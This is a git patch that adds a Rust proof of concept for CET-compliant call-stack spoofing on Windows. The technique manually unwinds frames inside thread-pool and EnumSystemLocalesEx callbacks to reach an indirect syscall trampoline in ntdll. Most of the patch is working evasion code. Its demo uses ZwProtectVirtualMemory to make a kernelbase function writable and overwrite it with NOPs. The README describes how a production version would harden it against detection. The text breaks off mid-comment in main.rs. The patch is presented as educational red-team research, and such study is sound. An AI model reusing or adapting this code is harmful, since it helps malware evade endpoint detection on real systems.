From 08f946bd73454a323d21bc96f0673364f74b8dfd Mon Sep 17 00:00:00 2001 From: Tiziano Marra <29025198+MrTiz@users.noreply.github.com> Date: Sun, 12 Jul 2026 16:34:41 +0200 Subject: [PATCH] Add files via upload --- Cargo.toml | 33 ++ README.md | 124 ++++++ build.rs | 3 + rust-toolchain.toml | 2 + src/main.rs | 938 ++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 1100 insertions(+) create mode 100644 Cargo.toml create mode 100644 README.md create mode 100644 build.rs create mode 100644 rust-toolchain.toml create mode 100644 src/main.rs diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..8cabdb8 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "PoC" +version = "0.1.0" +edition = "2024" + +[dependencies.windows-sys] +version = "0.61.2" +default-features = false +features = [ + "Wdk_System_SystemServices", + "Win32_System_Memory", + "Win32_System_Kernel", + "Win32_System_Threading", + "Win32_System_LibraryLoader", + "Win32_System_SystemServices", + "Win32_System_Diagnostics_Debug", +] + +[profile.release] +opt-level = 3 +lto = "fat" +codegen-units = 1 +panic = "abort" +strip = false +debug = true + +[profile.dev] +opt-level = 0 +lto = false +codegen-units = 1 +panic = "abort" +strip = false +debug = true diff --git a/README.md b/README.md new file mode 100644 index 0000000..cc5c462 --- /dev/null +++ b/README.md @@ -0,0 +1,124 @@ +# CET-Compliant Callstack Spoofing via Thread Pool Enum Callback Trampolining + +> **Disclaimer.** This research is published for **educational and defensive purposes only**. I do not endorse the use of this technique for unauthorized access to any computer system. Always obtain explicit written authorization before testing. If you use this on systems you don't own, that's on you, and it's illegal. + +## What is this? + +A Rust Proof of Concept that produces a fully legitimate call stack at the exact moment an indirect syscall executes, while remaining compliant with **Intel CET** (Control-flow Enforcement Technology) hardware enforcement. + +Every frame in the resulting call stack belongs to a signed Windows module. No synthetic frames, no fabricated unwind data. The enum function is genuinely on the stack because we genuinely called it. + +## The technique in one paragraph + +A thread pool worker callback manually unwinds its own frame and redirects execution to `EnumSystemLocalesEx`. The enum function calls our callback, which unwinds again and redirects to a `syscall; ret` trampoline inside `ntdll.dll`. CET compliance is achieved through a `jmp`-based context switch (bypassing the shadow stack entirely) combined with `RDSSPQ`/`INCSSPQ` reconciliation to consume stale shadow stack entries left by the `call` into `user_mode_continue`. + +## Execution flow + +Three phases, same thread: + +1. **Thread pool worker** captures its context, unwinds one frame to find the TP internals' return address, then redirects to `EnumSystemLocalesEx`. The `EmbeddedContext` pointer is passed through `TEB.ArbitraryUserPointer`. + +2. **Enum callback (first invocation)** retrieves the context from TEB, unwinds its own frame, sets up the syscall registers (`RAX` = `SSN`, `RIP` = trampoline, args in registers/stack), and jumps to the `syscall; ret` gadget in `ntdll.dll`. + +3. **Enum callback (second invocation, if needed)** restores overwritten stack slots, restores TEB, returns 0 to stop the enumeration. + +### The call stack at `syscall` time + +``` +ntdll!NtProtectVirtualMemory+12 <- `syscall; ret` trampoline +kernelbase!Internal_EnumSystemLocales+348 <- real frame +kernelbase!EnumSystemLocalesEx+1F <- real frame +ntdll!TppWorkpExecuteCallback+4D0 <- thread pool internals +ntdll!TppWorkerThread+801 <- thread pool internals +kernel32!BaseThreadInitThunk+17 +ntdll!RtlUserThreadStart+2C +``` + +Every frame: `ntdll.dll`, `kernelbase.dll`, or `kernel32.dll`. No unbacked memory. + +## CET compliance + +Intel CET introduces a hardware-enforced **shadow stack**: an independent copy of return addresses that the CPU compares against on every `ret`. Mismatch = `#CP` fault = process dead. This kills traditional stack spoofing. + +This PoC takes a different route: + +- **`jmp` instead of `ret`** for context switches. `jmp` does not interact with the shadow stack at all: no pop, no comparison, no fault. +- **`RDSSPQ`/`INCSSPQ` reconciliation** to consume stale entries. Because `user_mode_continue` is a real function (`#[inline(never)]`), the `call` that enters it pushes a return address onto the shadow stack. Since we `jmp` away instead of `ret`-ing, that entry becomes stale. `INCSSPQ` advances the SSP past it, realigning the shadow stack with the normal stack before the next `ret`. +- **Same binary works on CET and non-CET systems.** If CET is off, `RDSSPQ` returns 0 and the reconciliation is skipped entirely. + +## Build + +Requires Rust stable (or nightly if you want `-Z ehcont-guard`). The project targets `x86_64-pc-windows-msvc`. + +```bash +cargo build --release +``` + +CET and CFG flags are already configured in [`.cargo/config.toml`](.cargo/config.toml): + +```toml +[target.x86_64-pc-windows-msvc] +rustflags = [ + "-C", "control-flow-guard=yes", + "-C", "link-arg=/CETCOMPAT", + "-C", "link-arg=/force:guardehcont", + "-C", "link-arg=/guard:ehcont", + # "-Z", "ehcont-guard", # requires nightly; uncomment if using rustc nightly + "-C", "link-arg=/DYNAMICBASE", + "-C", "link-arg=/NXCOMPAT", + "-C", "link-arg=/HIGHENTROPYVA", +] +``` + +## What the PoC does + +The demo uses `ZwProtectVirtualMemory` (via the spoofed chain) to: + +1. Change the protection of `kernelbase!GetEraNameCountedString` to `PAGE_EXECUTE_WRITECOPY` +2. Write 64 NOP bytes (`0x90`) over the function +3. Restore the original protection + +The victim function is arbitrary. The point is that the syscall executes through a fully spoofed, CET-compliant call chain. + +### A note on return values + +The syscall's `NTSTATUS` (in `RAX`) cannot be recovered after the trampoline returns to the enum function. The PoC uses sentinel values (`0xFFFFFFFF`) to detect success: if the kernel overwrites the sentinel with the real `old_protect` value, the syscall succeeded. + +## Intentional simplifications + +This PoC is **not a weapon**. It would not survive basic static analysis by any halfway decent EDR. + +| Aspect | PoC approach | Production approach | +|---|---|---| +| **Module resolution** | `GetModuleHandleW` + `GetProcAddress` | PEB walking, hash-based lookup | +| **SSN resolution** | Hardcoded per-OS table | Dynamic via stub parsing ([Hell's Gate](https://github.com/am0nsec/HellsGate), etc.) | +| **Enum function** | Single (`EnumSystemLocalesEx`) | Random selection from 39-function basket | +| **Trampoline** | Scans target `Zw` function only | Any `ntdll` function | +| **Strings** | Plaintext | Encrypted / obfuscated | + +The value is in the architecture, not in the operational stealth. + +## Prior art and acknowledgments + +This work builds on research by people far more talented than me: + +- [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk) & [BYOUD](https://github.com/klezVirus/BYOUD) by klezVirus +- [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer) by mgeeky +- [Unwinder](https://github.com/Kudaes/Unwinder) by Kudaes +- [LoudSunRun](https://github.com/susMdT/LoudSunRun) by susMdT +- [VulcanRaven](https://github.com/WithSecureLabs/CallStackSpoofer) by WithSecure Labs +- [Indirect Syscalls](https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/) by @modexpblog (MDSec) +- [SysWhispers](https://github.com/jthuraisamy/SysWhispers) by @jthuraisamy +- [SysWhispers3](https://github.com/klezVirus/SysWhispers3) by klezVirus +- [Hell's Gate](https://github.com/am0nsec/HellsGate) by am0nsec & smelly__vx +- [Tartarus' Gate](https://github.com/trickster0/TartarusGate) by trickster0 + +Research by Elastic Security Labs, Bill Demirkapi, taintedbits.com, and Synacktiv on CET internals was also instrumental. + +## Full article + +For the detailed technical writeup covering the full technique, debugging war stories, and detection countermeasures, see this [blog post](). + +## License + +This project is released for educational and research purposes. See the disclaimer at the top. diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..62d3623 --- /dev/null +++ b/build.rs @@ -0,0 +1,3 @@ +fn main() { + println!("cargo:rustc-link-arg=/SUBSYSTEM:CONSOLE,6.02"); +} diff --git a/rust-toolchain.toml b/rust-toolchain.toml new file mode 100644 index 0000000..594d049 --- /dev/null +++ b/rust-toolchain.toml @@ -0,0 +1,2 @@ +[toolchain] +targets = ["x86_64-pc-windows-msvc"] diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..34dad95 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,938 @@ +//! # CET-Compliant Callstack Spoofing PoC +//! +//! This is a deliberately simplified Proof of Concept demonstrating +//! CET-compliant callstack spoofing via thread pool enum callback +//! trampolining and indirect syscalls. +//! +//! ## How it works (in one paragraph) +//! +//! A thread pool worker callback manually unwinds its own stack frame +//! and redirects execution to `EnumSystemLocalesEx`. The enum function +//! calls our callback, which performs a second manual unwind and +//! redirects to a `syscall; ret` trampoline inside `ntdll.dll`. At the +//! exact moment the syscall executes, every frame on the call stack +//! belongs to a signed Windows module. The CET shadow stack is kept +//! aligned through direct SSP reconciliation using `RDSSPQ`/`INCSSPQ` +//! and a `jmp`-based (not `ret`-based) context switch. +//! +//! ## What this PoC intentionally does NOT do +//! +//! - Stealth API resolution (uses `GetModuleHandleW`/`GetProcAddress`) +//! - Dynamic SSN resolution (uses a hardcoded per-OS lookup table) +//! - Enum function randomization (uses only `EnumSystemLocalesEx`) +//! - String obfuscation (all API names are plaintext) +//! +//! The focus is on the spoofing mechanism and CET compliance, not on +//! operational tradecraft. + +use core::{ + arch::asm, + ffi::c_void, + ptr::{ + from_ref, + null_mut, + read_volatile, + read_unaligned, + write_volatile, + copy_nonoverlapping + }, + mem::{ + zeroed, + offset_of + }, + sync::atomic::{ + AtomicU64, + Ordering::Relaxed + } +}; + +use windows_sys::{ + w, + Win32::{ + System::{ + LibraryLoader::{ + GetProcAddress, + GetModuleHandleW + }, + Diagnostics::Debug::{ + CONTEXT, + UNW_FLAG_NHANDLER, + RtlVirtualUnwind, + RtlCaptureContext, + RtlLookupFunctionEntry + }, + Memory::{ + PAGE_PROTECTION_FLAGS, + PAGE_EXECUTE_WRITECOPY + }, + Threading::{ + PTP_WORK, + PTP_CALLBACK_INSTANCE, + CreateThreadpoolWork, + SubmitThreadpoolWork, + WaitForThreadpoolWorkCallbacks, + CloseThreadpoolWork, + } + } + }, + Wdk::System::SystemServices::KUSER_SHARED_DATA +}; + +// ============================================================================ +// Data structures +// ============================================================================ + +/// 16-byte aligned wrapper for the x64 `CONTEXT` structure. +/// +/// The `movdqa` instruction (used in `user_mode_continue` to restore +/// XMM registers) **requires** 16-byte aligned memory. Rust does not +/// guarantee this alignment for `CONTEXT` by default, so we force it +/// with `#[repr(C, align(16))]`. Without this, `movdqa` raises a +/// `#GP` (General Protection) fault. +#[repr(C, align(16))] +pub(crate) struct AlignedContext(pub(crate) CONTEXT); + +/// Shared state passed between all three execution phases. +/// +/// Contains the syscall parameters (SSN, trampoline address, arguments), +/// bookkeeping for stack slot backup/restore, and cross-phase validation. +/// +/// ## Field groups +/// +/// - **Syscall setup** (`ssn`, `trampoline`, `args_len`, `arg1..arg11`): +/// filled by the caller before dispatching. +/// - **Phase 1 stack backups** (`backup_addr/val_arg5..7`): save the +/// stack slots that the enum function call will overwrite, so they +/// can be restored in Phase 2 before the thread pool's own code +/// tries to read them on the return path. +/// - **Phase 2 stack backups** (`cb_sp`, `cb_orig_5..11`): save the +/// stack slots that our syscall arguments overwrite inside the enum +/// function's frame. Restored in Phase 3 (cleanup). +/// - **Cross-phase state** (`invoke_count`, `saved_aup`, `magic`): +/// shared between all phases for validation and signaling. +/// +/// ## The `magic` field +/// +/// Stores the address of the `EmbeddedContext` itself (a self-referencing +/// pointer). The enum callback uses this to validate that the pointer +/// read from `TEB.ArbitraryUserPointer` actually belongs to us and was +/// not overwritten by unrelated code. +#[repr(C)] +#[derive(Default)] +struct EmbeddedContext { + ssn : u32, // System Service Number for the target Zw* function + // [4 bytes implicit padding due to u64 alignment] + trampoline : u64, // Address of "syscall; ret" (0F 05 C3) inside ntdll + args_len : u64, // Number of syscall arguments (1..11) + arg1 : u64, // Syscall arguments, up to 11 are supported. + arg2 : u64, // First 4 go in registers (RCX/R10, RDX, R8, R9), + arg3 : u64, // arguments 5+ are placed on the stack at + arg4 : u64, // [RSP+0x28], [RSP+0x30], etc. per the x64 + arg5 : u64, // calling convention. + arg6 : u64, + arg7 : u64, + arg8 : u64, + arg9 : u64, + arg10 : u64, + arg11 : u64, + invoke_count : u64, // Tracks how many times the enum callback fired. + // 0 = syscall never ran; >0 = syscall executed. + // The dispatcher checks this to detect dropped calls. + backup_addr_arg5: u64, // Phase 1 backups: address + original value of the + backup_val_arg5 : u64, // three stack slots (RSP+0x20/0x28/0x30 from the + backup_addr_arg6: u64, // caller's perspective) that get overwritten when + backup_val_arg6 : u64, // setting up the enum function call. These belong + backup_addr_arg7: u64, // to the thread pool's internal frame and must be + backup_val_arg7 : u64, // restored before the TP code runs again. + init_once : u64, // Reserved for InitOnceExecuteOnce support + worker_ctx_ptr : u64, // Pointer to Phase 1's AlignedContext (kept alive) + callback_ctx_ptr: u64, // Pointer to Phase 2's AlignedContext (kept alive) + saved_aup : u64, // Original value of TEB.ArbitraryUserPointer, + // saved before overwrite and restored on cleanup. + magic : u64, // Self-referencing pointer: must equal the address + // of this EmbeddedContext instance. Used by the + // callback to validate the TEB handoff. + cb_sp : u64, // Phase 2 stack pointer, saved for Phase 3 cleanup. + cb_orig_5 : u64, // Phase 2 backups: original values of the stack + cb_orig_6 : u64, // slots where we placed syscall arguments 5..11. + cb_orig_7 : u64, // Restored in Phase 3 so the enum function's + cb_orig_8 : u64, // frame is clean when it unwinds. + cb_orig_9 : u64, + cb_orig_10 : u64, + cb_orig_11 : u64, +} + +/// Resolved address of the enum function used as the callback trampoline. +/// Set once in `main()`, read by `thread_pool_worker_enum`. +static ENUM_SYSTEM_LOCALES_EX_ADDR: AtomicU64 = AtomicU64::new(0); + +// ============================================================================ +// Helper functions +// ============================================================================ + +/// Reads the OS major and minor version numbers from +/// `KUSER_SHARED_DATA` (mapped at `0x7FFE0000` in every user-mode +/// process). Used to select the correct SSN for the target syscall. +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +fn get_os_version() -> (u32, u32) { + let user_mode_shared_data_ptr: *const KUSER_SHARED_DATA = 0x7FFE_0000 as _; + + let major = unsafe { (*user_mode_shared_data_ptr).NtMajorVersion }; + let minor = unsafe { (*user_mode_shared_data_ptr).NtMinorVersion }; + + (major, minor) +} + +/// Returns the base address of the current thread's Thread Environment +/// Block (TEB) by reading `gs:[0x30]` (the TEB self-pointer on x64). +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +fn get_teb_address() -> *mut c_void { + let mut teb_addr: *mut c_void; + + unsafe { + asm!( + "mov {}, gs:[0x30]", + out(reg) teb_addr, + options(nostack, readonly) + ); + } + + teb_addr +} + +/// Returns the base address of the Process Environment Block (PEB) +/// by reading `gs:[0x60]` (the PEB pointer in the TEB on x64). +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +fn get_peb_address() -> *mut c_void { + let mut peb_addr: *mut c_void; + + unsafe { + asm!( + "mov {}, gs:[0x60]", + out(reg) peb_addr, + options(nostack, readonly) + ); + } + + peb_addr +} + +/// Scans a `Zw*` function body (backwards) for the `syscall; ret` +/// byte pattern (`0F 05 C3`) and returns its address. +/// +/// This address serves as the **indirect syscall trampoline**: we +/// jump to it (with the SSN already in RAX) so that the `syscall` +/// instruction executes from within `ntdll.dll`, making the +/// immediate return address appear legitimate. +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +fn get_trampoline(func_addr: *mut u8) -> Result { + let mut image_base: u64 = 0; + let func_entry = unsafe { RtlLookupFunctionEntry(func_addr as u64, &raw mut image_base, null_mut()) }; + let func_size = unsafe { (*func_entry).EndAddress - (*func_entry).BeginAddress } as usize; + + if func_size >= 3 { + // Scan backwards to find the last occurrence of "syscall; ret" + for i in (0..func_size - 2).rev() { + let ptr = unsafe { func_addr.add(i) }; + + if unsafe { read_unaligned(ptr as *const [u8; 3]) } == [0x0F, 0x05, 0xC3] { + return Ok(ptr as u64); + } + } + } + + Err(()) +} + +/// Returns the System Service Number (SSN) for `ZwProtectVirtualMemory` +/// based on the OS version. +/// +/// **NOTE:** This is a hardcoded lookup table, intentionally simplified +/// for this PoC. A production implementation would resolve the SSN +/// dynamically by parsing the `ntdll.dll` stubs at runtime (e.g., using +/// techniques from Hell's Gate, Halo's Gate, or Tartarus' Gate). +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +fn get_zw_pvm_ssn(major: u32, minor: u32) -> u32 { + match major { + 10.. => 0x50, // Windows 10 / 11 + 6 => match minor { + 2 => 0x4E, // Windows 8 + 3 => 0x4F, // Windows 8.1 + _ => 0 + }, + _ => 0 + } +} + +// ============================================================================ +// Syscall wrapper +// ============================================================================ + +/// Invokes `ZwProtectVirtualMemory` via the callstack spoofing chain. +/// +/// Sets up an `EmbeddedContext` with the syscall parameters and hands +/// it to `thread_pool_dispatcher`, which orchestrates the three-phase +/// spoofing sequence (thread pool worker -> enum callback -> syscall). +/// +/// ## Arguments +/// - `ssn`: System Service Number for `ZwProtectVirtualMemory` +/// - `trampoline`: Address of the `syscall; ret` gadget inside `ntdll` +/// - `start_protect`: Pointer to the base address of the region +/// - `protect_size`: Size of the region to protect (in bytes) +/// - `protection_flag`: New protection flags (e.g., `PAGE_EXECUTE_WRITECOPY`) +/// +/// ## Returns +/// - `Ok(old_protect)`: Previous protection flags on success +/// - `Err(-1)`: The sentinel value was never overwritten, meaning the +/// syscall did not execute (or failed silently) +/// +/// ## Note on return value detection +/// +/// Because the syscall's NTSTATUS (in RAX) is consumed by the enum +/// function's return-value logic and cannot be recovered, we use a +/// **sentinel value** (`0xFFFFFFFF`) to detect success. If the kernel +/// writes the real old protection value into `old_protect`, the +/// sentinel is overwritten and we know the syscall succeeded. +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +fn manual_stack_unwind_zw_protect_virtual_memory( + ssn : u32, + trampoline : u64, + mut start_protect: *mut u8, + mut protect_size : usize, + protection_flag : PAGE_PROTECTION_FLAGS +) -> Result +{ + let mut old_protect = 0xFFFF_FFFFu32; // Sentinel: overwritten on success + let mut embedded_ctx = EmbeddedContext { + ssn, + trampoline, + args_len : 5, + arg1 : 0xFFFF_FFFF_FFFF_FFFF, // NtCurrentProcess() pseudo-handle + arg2 : &raw mut start_protect as u64, + arg3 : &raw mut protect_size as u64, + arg4 : u64::from(protection_flag), + arg5 : &raw mut old_protect as u64, // Output: previous protection + ..Default::default() + }; + + thread_pool_dispatcher(&mut embedded_ctx); + + // If old_protect still contains the sentinel, the syscall never + // wrote to it: either it didn't execute or something went wrong. + if old_protect == 0xFFFF_FFFF { + return Err(-1); + } + + Ok(old_protect) +} + +// ============================================================================ +// Thread pool dispatcher +// ============================================================================ + +/// Entry point for the callstack spoofing chain. +/// +/// Creates a thread pool work item with `thread_pool_worker_enum` as +/// the callback, submits it, and waits for completion. The +/// `EmbeddedContext` pointer is passed through the work item's +/// `context` parameter. +/// +/// The loop is a resilience mechanism: if the enum callback's `magic` +/// validation fails (e.g., because another thread overwrote +/// `TEB.ArbitraryUserPointer` between phases), `invoke_count` stays +/// at 0 and the dispatcher retries. Under normal conditions, the loop +/// executes exactly once. +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +pub(crate) fn thread_pool_dispatcher(embedded_ctx: &mut EmbeddedContext) { + // Stamp the self-referencing cookie used by the callback to + // validate the pointer retrieved from TEB.ArbitraryUserPointer. + embedded_ctx.magic = from_ref(embedded_ctx) as u64; + + loop { + embedded_ctx.invoke_count = 0; + let context_addr = from_ref::(embedded_ctx) as u64; + let work = unsafe { CreateThreadpoolWork(Some(thread_pool_worker_enum), context_addr as *mut _, null_mut()) }; + + unsafe { SubmitThreadpoolWork( work ) }; + unsafe { WaitForThreadpoolWorkCallbacks(work, 0) }; + unsafe { CloseThreadpoolWork( work ) }; + + // invoke_count > 0 means the callback reached the syscall + // trampoline and the syscall actually executed. + if embedded_ctx.invoke_count > 0 { + break; + } + } +} + +// ============================================================================ +// Phase 1 — Thread pool worker: unwind + redirect to enum function +// ============================================================================ + +/// Thread pool callback that fabricates the spoofed call stack. +/// +/// Runs on an OS-managed thread pool worker thread, so the base of +/// the call stack is already clean (ntdll TP internals -> kernel32 -> +/// ntdll thread start). +/// +/// ## What it does (step by step) +/// +/// 1. Captures the current register state with `RtlCaptureContext`. +/// 2. Unwinds **one** frame via `RtlVirtualUnwind` to obtain the +/// return address and RSP of the caller (thread pool internals). +/// 3. Constructs a new stack: `new_rsp = parent_rsp - 8`, places the +/// real return address at `[new_rsp]` (simulating a `CALL`). +/// 4. Backs up three stack slots (RSP+0x20/0x28/0x30) that the enum +/// function will overwrite, so they can be restored later. +/// 5. Writes the enum function's arguments into registers and stack +/// (some enum functions take up to 7 parameters). +/// 6. Stashes the `EmbeddedContext` pointer in `TEB.ArbitraryUserPointer` +/// (the covert data channel to Phase 2). +/// 7. Calls `user_mode_continue` to perform the CET-safe context +/// switch into the enum function. +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +pub extern "system" fn thread_pool_worker_enum( + mut _instance: PTP_CALLBACK_INSTANCE, + context : *mut c_void, + mut _work : PTP_WORK +) { + // -- Step 1: Capture current CPU state -- + let mut aligned_context: AlignedContext = unsafe { zeroed() }; + let context_record: *mut CONTEXT = &raw mut aligned_context.0; + + unsafe { RtlCaptureContext(context_record) }; + + // -- Step 2: Unwind one frame to get the parent's (TP internals) state -- + let mut handler_data : *mut c_void = null_mut(); + let mut establisher_frame: u64 = 0; + let mut image_base : u64 = 0; + + let control_pc = (unsafe { *context_record }).Rip; + let function_entry = unsafe { RtlLookupFunctionEntry(control_pc, &raw mut image_base, null_mut()) }; + + if function_entry.is_null() { + // Leaf function fallback: simulate a plain `ret` by popping + // the return address from [RSP] into RIP. + (unsafe { *context_record }).Rip = unsafe { *((*context_record).Rsp as *const u64) }; + (unsafe { *context_record }).Rsp += 8; + } + else { + unsafe { + RtlVirtualUnwind( + UNW_FLAG_NHANDLER, + image_base, + control_pc, + function_entry, + &raw mut (*context_record), + &raw mut handler_data, + &raw mut establisher_frame, + null_mut(), + ); + } + } + + // After unwinding, context_record now contains the parent's state: + // Rip = return address back into the TP internals (TppWorkpExecute) + // Rsp = the parent's stack pointer + + // -- Step 3: Build the redirected stack -- + // Subtract 8 to make room for the return address, simulating what + // a CALL instruction would have done. + let real_return_address = (unsafe { *context_record }).Rip; + let new_rsp = (unsafe { *context_record }).Rsp - 8; + + unsafe { write_volatile(&raw mut (*context_record).Rsp, new_rsp ) }; + unsafe { write_volatile(new_rsp as *mut u64, real_return_address) }; + + let args = unsafe { &mut *context.cast::() }; + args.init_once = 0; + args.worker_ctx_ptr = (&raw mut aligned_context) as u64; + + // -- Step 4: Back up three stack slots that the enum function will use -- + // These slots belong to the TP internals' frame. If we don't + // restore them before the TP code runs again, it will crash + // reading corrupted state. The offsets are relative to new_rsp + // (which includes the 8-byte return address), so add(4) = RSP+0x20 + // from the callee's perspective (i.e., the first home-space slot + // past the 4 register args). + let cb = manual_stack_unwind_enum as *const () as u64; + let sp_orig = (unsafe { *context_record }).Rsp as *mut u64; + + args.backup_addr_arg5 = unsafe { sp_orig.add(4) } as u64; // RSP + 0x20 + args.backup_val_arg5 = unsafe { *sp_orig.add(4) }; + + args.backup_addr_arg6 = unsafe { sp_orig.add(5) } as u64; // RSP + 0x28 + args.backup_val_arg6 = unsafe { *sp_orig.add(5) }; + + args.backup_addr_arg7 = unsafe { sp_orig.add(6) } as u64; // RSP + 0x30 + args.backup_val_arg7 = unsafe { *sp_orig.add(6) }; + + // -- Step 5: Set up the enum function call -- + // Write the first 4 arguments into registers (x64 calling convention). + let enum_cb_addr = ENUM_SYSTEM_LOCALES_EX_ADDR.load(Relaxed); + + unsafe { write_volatile(&raw mut (*context_record).Rip, enum_cb_addr) }; + unsafe { write_volatile(&raw mut (*context_record).Rcx, cb ) }; // lpLocaleEnumProcEx (our callback) + unsafe { write_volatile(&raw mut (*context_record).Rdx, 0 ) }; // dwFlags + unsafe { write_volatile(&raw mut (*context_record).R8 , 0 ) }; // lParam + unsafe { write_volatile(&raw mut (*context_record).R9 , 0 ) }; // lpReserved + + // Write the 5th/6th/7th arguments onto the stack. Not all enum + // functions in the 39-function basket take only 4 parameters: + // some take up to 7. By writing proper values (zeroes for unused + // args), we ensure compatibility with any function in the basket. + let sp_new = new_rsp as *mut u64; + unsafe { write_volatile(sp_new.add(5), 0) }; // [new_rsp + 0x28] = 5th parameter slot + unsafe { write_volatile(sp_new.add(6), 0) }; // [new_rsp + 0x30] = 6th parameter slot + unsafe { write_volatile(sp_new.add(7), 0) }; // [new_rsp + 0x38] = 7th parameter slot + + // -- Step 6: Stash EmbeddedContext pointer in TEB -- + let teb_addr = get_teb_address(); + + // Save the original ArbitraryUserPointer value (offset 0x28 in the TEB) + // so we can restore it when the operation completes. + args.saved_aup = unsafe { read_volatile(teb_addr.add(0x28) as *const u64) }; + unsafe { write_volatile(teb_addr.add(0x28).cast::(), context as u64) }; + + // -- Step 7: CET-safe context switch into the enum function -- + user_mode_continue(context_record, new_rsp); +} + +// ============================================================================ +// Phase 2 & 3 — Enum callback: syscall execution + cleanup +// ============================================================================ + +/// Enum callback installed by `thread_pool_worker_enum`. +/// +/// This function is invoked by `EnumSystemLocalesEx` (or whichever +/// enum function is selected). It operates in two modes, depending on +/// `invoke_count`: +/// +/// ## First invocation (`invoke_count` becomes 1): Syscall execution +/// +/// 1. Recovers `EmbeddedContext` from `TEB.ArbitraryUserPointer`. +/// 2. Validates via the self-referencing `magic` field. +/// 3. Restores the three stack slots backed up in Phase 1. +/// 4. Captures context + unwinds one frame (parent = enum function). +/// 5. Forges the syscall calling convention (RAX=SSN, RIP=trampoline, +/// registers and stack for arguments). +/// 6. Places the real return address (back into the enum function) on +/// the stack, so the trampoline's `ret` returns to the enum code. +/// 7. Saves original stack values before overwriting with syscall args. +/// 8. Calls `user_mode_continue` -> syscall executes. +/// +/// ## Subsequent invocations (`invoke_count` > 1): Cleanup +/// +/// If the syscall returned non-zero (failure), the enum function +/// interprets it as TRUE ("keep enumerating") and calls us again. +/// We restore the stack slots we modified, restore TEB, return 0 +/// to stop the enumeration. +/// +/// ## Important attributes +/// +/// - `#[inline(never)]`: **CRITICAL.** This function must have its own +/// stack frame and a `RUNTIME_FUNCTION` entry in `.pdata`, otherwise +/// `RtlVirtualUnwind` cannot unwind through it and the technique +/// breaks. +/// - `extern "system"`: Matches the callback signature expected by the +/// enum function (`LOCALE_ENUMPROCEX` or equivalent). +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +#[inline(never)] +extern "system" fn manual_stack_unwind_enum() -> i32 { + let teb_addr = get_teb_address(); + + // ---- Retrieve and validate the EmbeddedContext from TEB ---- + let args = { + let ctx_ptr = unsafe { read_volatile(teb_addr.add(0x28) as *const u64) }; + if ctx_ptr == 0 { + return 0; // Nothing in TEB: bail out, stop enumeration + } + + // Validate: the value at (ctx_ptr + offset_of magic) must equal + // ctx_ptr itself. This self-referencing check is extremely unlikely + // to be satisfied by an arbitrary pointer. + let maybe_magic = unsafe { read_volatile((ctx_ptr + offset_of!(EmbeddedContext, magic) as u64) as *const u64) }; + if maybe_magic != ctx_ptr { + return 0; // Not our context: bail out safely + } + + unsafe { &mut *(ctx_ptr as *mut EmbeddedContext) } + }; + + // ---- Restore Phase 1 stack backups ---- + // The enum function call overwrote three stack slots that belong to + // the TP internals. Restore them now, before any TP code runs again. + // The restore is idempotent: after writing, the address is zeroed to + // prevent double-writes on subsequent invocations. + if args.backup_addr_arg5 != 0 { + unsafe { write_volatile(args.backup_addr_arg5 as *mut u64, args.backup_val_arg5) }; + args.backup_addr_arg5 = 0; + } + + if args.backup_addr_arg6 != 0 { + unsafe { write_volatile(args.backup_addr_arg6 as *mut u64, args.backup_val_arg6) }; + args.backup_addr_arg6 = 0; + } + + if args.backup_addr_arg7 != 0 { + unsafe { write_volatile(args.backup_addr_arg7 as *mut u64, args.backup_val_arg7) }; + args.backup_addr_arg7 = 0; + } + + args.invoke_count += 1; + + // ================================================================ + // Phase 3 — Cleanup (only if invoke_count > 1) + // ================================================================ + // If we're here a second time, it means the syscall returned + // non-zero (the enum function interpreted the NTSTATUS as TRUE + // and kept enumerating). Restore everything and return 0 to stop. + if args.invoke_count > 1 { + let sp = args.cb_sp as *mut u64; + + if !sp.is_null() { + if args.args_len >= 5 { unsafe { write_volatile(sp.add(5) , args.cb_orig_5 ) }; } + if args.args_len >= 6 { unsafe { write_volatile(sp.add(6) , args.cb_orig_6 ) }; } + if args.args_len >= 7 { unsafe { write_volatile(sp.add(7) , args.cb_orig_7 ) }; } + if args.args_len >= 8 { unsafe { write_volatile(sp.add(8) , args.cb_orig_8 ) }; } + if args.args_len >= 9 { unsafe { write_volatile(sp.add(9) , args.cb_orig_9 ) }; } + if args.args_len >= 10 { unsafe { write_volatile(sp.add(10), args.cb_orig_10) }; } + if args.args_len >= 11 { unsafe { write_volatile(sp.add(11), args.cb_orig_11) }; } + } + + // Restore TEB.ArbitraryUserPointer to its original value + unsafe { write_volatile(teb_addr.add(0x28).cast::(), args.saved_aup) }; + return 0; // Tell enum function to stop + } + + // ================================================================ + // Phase 2 — Syscall setup (first invocation only) + // ================================================================ + + // Capture context and unwind one frame. The parent frame is now + // inside the enum function (kernelbase!Internal_EnumSystemLocales). + let mut aligned_context: AlignedContext = unsafe { zeroed() }; + let context_record: *mut CONTEXT = &raw mut aligned_context.0; + args.callback_ctx_ptr = (&raw mut aligned_context) as u64; + + unsafe { RtlCaptureContext(context_record) }; + + let mut handler_data : *mut c_void = null_mut(); + let mut establisher_frame: u64 = 0; + let mut image_base : u64 = 0; + + let control_pc = (unsafe { *context_record }).Rip; + let function_entry = unsafe { RtlLookupFunctionEntry(control_pc, &raw mut image_base, null_mut()) }; + + if function_entry.is_null() { + (unsafe { *context_record }).Rip = unsafe { *((*context_record).Rsp as *const u64) }; + (unsafe { *context_record }).Rsp += 8; + } + else { + unsafe { + RtlVirtualUnwind( + UNW_FLAG_NHANDLER, + image_base, + control_pc, + function_entry, + &raw mut (*context_record), + &raw mut handler_data, + &raw mut establisher_frame, + null_mut(), + ); + } + } + + // After unwinding: Rip = return address back into the enum function, + 